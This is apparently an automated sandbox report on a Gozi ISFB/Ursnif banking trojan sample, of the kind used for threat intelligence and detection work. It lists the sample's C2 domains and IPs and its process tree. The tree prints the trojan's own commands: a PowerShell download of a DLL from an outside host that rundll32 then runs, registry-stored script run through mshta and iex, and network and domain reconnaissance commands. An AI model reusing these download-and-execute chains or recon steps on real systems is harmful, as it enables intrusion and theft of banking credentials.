Analysis

  • max time kernel
    151s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    06/01/2022, 10:54

General

  • Target
    9095.exe
  • Size 152KB
  • Sample220106-mzj71abeem
  • SHA256 d4e5ea6e804aee0817c61b11e1ed009f649ff37d30bafa7056bf82d45e83f44d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi_ifsb

Botnet
  • 9095

C2
  • http://google.mail.com

  • http://392184281.com

  • http://592182812.com

  • https://392184281.com

  • https://592182812.com

Attributes
  • base_path

    /glik/

  • build

    250218

  • dga_season

    10

  • exe_type

    loader

  • extension

    .lwe

  • server_id

    12

rsa_pubkey.plain
serpent.plain

Extracted

Family
  • gozi_ifsb

Botnet
  • 9095

C2
  • http://google.login.com

  • https://194.67.90.217

  • https://134.0.118.44

  • https://134.0.119.89

  • http://194.67.90.217

  • http://134.0.118.44

  • http://134.0.119.89

  • iudsahbnmddsa.com

  • siadujhdnmasg.com

  • idsaujhdndkwq.com

Attributes
  • base_path

    /images/

  • build

    250218

  • dga_season

    10

  • dns_servers

    107.174.86.134

    107.175.127.22

  • exe_type

    worker

  • extension

    .avi

  • server_id

    12

rsa_pubkey.plain
serpent.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Users\Admin\AppData\Local\Temp\9095.exe
      "C:\Users\Admin\AppData\Local\Temp\9095.exe"
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3336
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c test5.bat
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://teamworks455.com/_country/9095.dll -OutFile 9095.dll
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4144
        • C:\Windows\system32\rundll32.exe
          rundll32.exe 9095.dll DllRegisterServer
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4176
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe 9095.dll DllRegisterServer
            5⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:764
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ianm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ianm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\AFB12D6D-42B3-B959-C453-96FD38372A81\\\ReturnBook'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\AFB12D6D-42B3-B959-C453-96FD38372A81").PageTest))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3732
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fjilir0s\fjilir0s.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2312
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES837F.tmp" "c:\Users\Admin\AppData\Local\Temp\fjilir0s\CSC2827C88EF2734BB4933EA725F53DB94A.TMP"
            5⤵
              PID:3080
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agybjb3s\agybjb3s.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4852
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8489.tmp" "c:\Users\Admin\AppData\Local\Temp\agybjb3s\CSC17DC953941E44818B870EDAE71C41A57.TMP"
              5⤵
                PID:4600
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Roaming\9095.dll"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:412
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\9C60.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4660
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:852
          • C:\Windows\system32\cmd.exe
            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\9C60.bi1"
            2⤵
              PID:640
            • C:\Windows\system32\cmd.exe
              cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\2013.bin1"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2776
              • C:\Windows\system32\systeminfo.exe
                systeminfo.exe
                3⤵
                • Gathers system information
                PID:1588
            • C:\Program Files\Windows Mail\WinMail.exe
              "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
              2⤵
                PID:4532
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:2076
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                  2⤵
                    PID:4400
                  • C:\Windows\system32\cmd.exe
                    cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3780
                    • C:\Windows\system32\net.exe
                      net view
                      3⤵
                      • Discovers systems in the same network
                      PID:4928
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                    2⤵
                      PID:1612
                    • C:\Windows\system32\cmd.exe
                      cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                      2⤵
                        PID:1384
                        • C:\Windows\system32\nslookup.exe
                          nslookup 127.0.0.1
                          3⤵
                            PID:2552
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                          2⤵
                            PID:3472
                          • C:\Windows\system32\cmd.exe
                            cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                            2⤵
                              PID:1652
                              • C:\Windows\system32\tasklist.exe
                                tasklist.exe /SVC
                                3⤵
                                • Enumerates processes with tasklist
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1672
                            • C:\Windows\system32\cmd.exe
                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                              2⤵
                                PID:4952
                              • C:\Windows\system32\cmd.exe
                                cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                2⤵
                                  PID:3384
                                  • C:\Windows\system32\driverquery.exe
                                    driverquery.exe
                                    3⤵
                                      PID:3464
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                    2⤵
                                      PID:364
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                      2⤵
                                        PID:4204
                                        • C:\Windows\system32\reg.exe
                                          reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                          3⤵
                                            PID:3116
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                          2⤵
                                            PID:4112
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                            2⤵
                                              PID:4208
                                              • C:\Windows\system32\net.exe
                                                net config workstation
                                                3⤵
                                                  PID:4404
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 config workstation
                                                    4⤵
                                                      PID:4240
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                  2⤵
                                                    PID:3684
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                    2⤵
                                                      PID:820
                                                      • C:\Windows\system32\nltest.exe
                                                        nltest /domain_trusts
                                                        3⤵
                                                          PID:3584
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                        2⤵
                                                          PID:3140
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                          2⤵
                                                            PID:1232
                                                            • C:\Windows\system32\nltest.exe
                                                              nltest /domain_trusts /all_trusts
                                                              3⤵
                                                                PID:1712
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                              2⤵
                                                                PID:1520
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                                2⤵
                                                                  PID:1508
                                                                  • C:\Windows\system32\net.exe
                                                                    net view /all /domain
                                                                    3⤵
                                                                    • Discovers systems in the same network
                                                                    PID:4720
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                                  2⤵
                                                                    PID:2184
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                                    2⤵
                                                                      PID:3868
                                                                      • C:\Windows\system32\net.exe
                                                                        net view /all
                                                                        3⤵
                                                                        • Discovers systems in the same network
                                                                        PID:2756
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                                      2⤵
                                                                        PID:2480
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\2013.bin1 > C:\Users\Admin\AppData\Local\Temp\2013.bin & del C:\Users\Admin\AppData\Local\Temp\2013.bin1"
                                                                        2⤵
                                                                          PID:4808
                                                                        • C:\Windows\system32\makecab.exe
                                                                          makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\8E1C.bin"
                                                                          2⤵
                                                                            PID:4688
                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                          1⤵
                                                                            PID:3496

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                memory/412-202-0x0000018FAECA0000-0x0000018FAECA2000-memory.dmp

                                                                                memory/412-213-0x0000018FAEE00000-0x0000018FAEEA0000-memory.dmp

                                                                                memory/412-212-0x0000018FAEC40000-0x0000018FAEC41000-memory.dmp

                                                                                memory/412-203-0x0000018FAECA0000-0x0000018FAECA2000-memory.dmp

                                                                                memory/764-145-0x0000000004690000-0x0000000004691000-memory.dmp

                                                                                memory/764-146-0x0000000010000000-0x00000000101C4000-memory.dmp

                                                                                memory/1640-189-0x00000000010B0000-0x00000000010B2000-memory.dmp

                                                                                memory/1640-190-0x00000000010B0000-0x00000000010B2000-memory.dmp

                                                                                memory/1640-192-0x00000000010B0000-0x00000000010B2000-memory.dmp

                                                                                memory/1640-207-0x0000000001100000-0x00000000011A0000-memory.dmp

                                                                                memory/1640-206-0x00000000010A0000-0x00000000010A1000-memory.dmp

                                                                                memory/2076-231-0x00000000029F0000-0x00000000029F1000-memory.dmp

                                                                                memory/2076-229-0x0000000000966CD0-0x0000000000966CD4-memory.dmp

                                                                                memory/2076-230-0x00000000029F0000-0x00000000029F1000-memory.dmp

                                                                                memory/2076-234-0x0000000000710000-0x0000000000711000-memory.dmp

                                                                                memory/2076-235-0x0000000002EE0000-0x0000000002F75000-memory.dmp

                                                                                memory/2484-147-0x0000023A4DF08000-0x0000023A4DF10000-memory.dmp

                                                                                memory/3496-208-0x00000173B5C40000-0x00000173B5C41000-memory.dmp

                                                                                memory/3496-209-0x00000173B7710000-0x00000173B77B0000-memory.dmp

                                                                                memory/3496-196-0x00000173B5C50000-0x00000173B5C52000-memory.dmp

                                                                                memory/3496-197-0x00000173B5C50000-0x00000173B5C52000-memory.dmp

                                                                                memory/3732-160-0x000001E6DCE20000-0x000001E6DCE22000-memory.dmp

                                                                                memory/3732-157-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-162-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-151-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-150-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-152-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-161-0x000001E6DCE23000-0x000001E6DCE25000-memory.dmp

                                                                                memory/3732-153-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-154-0x000001E6F5470000-0x000001E6F5492000-memory.dmp

                                                                                memory/3732-155-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-179-0x000001E6F54D0000-0x000001E6F54D8000-memory.dmp

                                                                                memory/3732-204-0x000001E6DCE26000-0x000001E6DCE28000-memory.dmp

                                                                                memory/3732-205-0x000001E6F5530000-0x000001E6F556B000-memory.dmp

                                                                                memory/3732-187-0x000001E6F54F0000-0x000001E6F54F8000-memory.dmp

                                                                                memory/3732-158-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-159-0x000001E6F5FC0000-0x000001E6F6036000-memory.dmp

                                                                                memory/3732-191-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/3732-188-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

                                                                                memory/4144-135-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-125-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-119-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-118-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-120-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-121-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-122-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-123-0x000001C4A5EE0000-0x000001C4A5F02000-memory.dmp

                                                                                memory/4144-124-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-126-0x000001C4BF180000-0x000001C4BF1F6000-memory.dmp

                                                                                memory/4144-127-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-131-0x000001C4BE5E0000-0x000001C4BE5E2000-memory.dmp

                                                                                memory/4144-132-0x000001C4BE5E3000-0x000001C4BE5E5000-memory.dmp

                                                                                memory/4144-136-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-138-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4144-139-0x000001C4BE5E6000-0x000001C4BE5E8000-memory.dmp

                                                                                memory/4144-140-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

                                                                                memory/4532-233-0x00000294FAAB0000-0x00000294FAB50000-memory.dmp

                                                                                memory/4532-222-0x00000294F9120000-0x00000294F9122000-memory.dmp

                                                                                memory/4532-232-0x00000294F90F0000-0x00000294F90F1000-memory.dmp

                                                                                memory/4532-223-0x00000294F9120000-0x00000294F9122000-memory.dmp

                                                                                memory/5020-211-0x0000029EB3310000-0x0000029EB33B0000-memory.dmp

                                                                                memory/5020-199-0x0000029EB33C0000-0x0000029EB33C2000-memory.dmp

                                                                                memory/5020-210-0x0000029EB32D0000-0x0000029EB32D1000-memory.dmp

                                                                                memory/5020-200-0x0000029EB33C0000-0x0000029EB33C2000-memory.dmp